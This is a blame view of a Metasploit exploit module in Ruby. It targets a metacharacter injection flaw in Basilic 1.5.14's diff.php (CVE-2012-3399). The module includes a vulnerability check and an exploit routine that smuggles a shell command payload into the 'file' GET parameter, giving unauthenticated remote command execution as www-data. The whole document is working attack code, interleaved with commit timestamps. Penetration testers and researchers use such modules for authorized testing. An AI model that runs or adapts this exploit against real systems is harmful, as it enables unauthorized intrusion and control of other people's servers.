Files
metasploit-gs/modules/exploits/unix/webapp/basilic_diff_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

107 lines
2.6 KiB
Ruby
Raw Normal View History

2012-07-06 01:41:34 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-07-06 01:41:34 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-07-06 01:41:34 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',
'Description' => %q{
2012-07-06 01:41:34 -05:00
This module abuses a metacharacter injection vulnerability in the
2025-06-20 13:20:44 +01:00
diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
commands as the www-data user account.
},
'Author' => [
2012-07-06 02:12:10 -05:00
'lcashdollar',
'sinn3r',
2012-08-06 18:59:16 +02:00
'juan vazquez'
2012-07-06 02:12:10 -05:00
],
2025-06-20 13:20:44 +01:00
'License' => MSF_LICENSE,
'References' => [
2018-07-08 18:46:04 -05:00
[ 'CVE', '2012-3399' ],
[ 'OSVDB', '83719' ],
2012-07-06 01:41:34 -05:00
[ 'BID', '54234' ]
],
2025-06-20 13:20:44 +01:00
'Platform' => %w{linux unix},
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
2012-07-06 01:41:34 -05:00
'DisableNops' => true,
2025-06-20 13:20:44 +01:00
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python telnet'
}
2012-07-06 01:41:34 -05:00
},
2025-06-20 13:20:44 +01:00
'Targets' => [
[ 'Automatic Target', {}]
2012-07-06 01:41:34 -05:00
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'DisclosureDate' => '2012-06-28',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])
2025-06-20 13:20:44 +01:00
]
)
2012-07-06 01:41:34 -05:00
end
2013-08-30 16:28:54 -05:00
2012-07-06 01:58:01 -05:00
def check
2012-11-08 17:42:48 +01:00
base = normalize_uri(target_uri.path)
2013-08-30 16:28:54 -05:00
2012-07-06 01:58:01 -05:00
sig = rand_text_alpha(10)
2013-08-30 16:28:54 -05:00
2012-07-06 01:58:01 -05:00
res = send_request_cgi({
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri("/#{base}/Config/diff.php"),
2012-07-06 01:58:01 -05:00
'vars_get' => {
'file' => sig,
2025-06-20 13:20:44 +01:00
'new' => '1',
'old' => '2'
2012-07-06 01:58:01 -05:00
}
})
2013-08-30 16:28:54 -05:00
2013-08-16 11:34:32 -05:00
if res and res.code == 200 and res.body =~ /#{sig}/
return Exploit::CheckCode::Vulnerable
2012-07-06 01:58:01 -05:00
end
2013-08-30 16:28:54 -05:00
2013-08-16 11:34:32 -05:00
return Exploit::CheckCode::Safe
2012-07-06 01:58:01 -05:00
end
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
def exploit
print_status("Sending GET request...")
2013-08-30 16:28:54 -05:00
2012-11-08 17:42:48 +01:00
base = normalize_uri(target_uri.path)
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
res = send_request_cgi({
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri("/#{base}/Config/diff.php"),
'vars_get' => {
'file' => "&#{payload.encoded} #",
'new' => '1',
'old' => '2'
}
})
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
if res and res.code == 404 then
print_error("404 Basilic not installed or possibly check URI Path.")
else
2012-07-15 22:19:12 -05:00
vprint_line("Server returned #{res.code}")
2012-07-06 01:41:34 -05:00
end
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
handler
end
end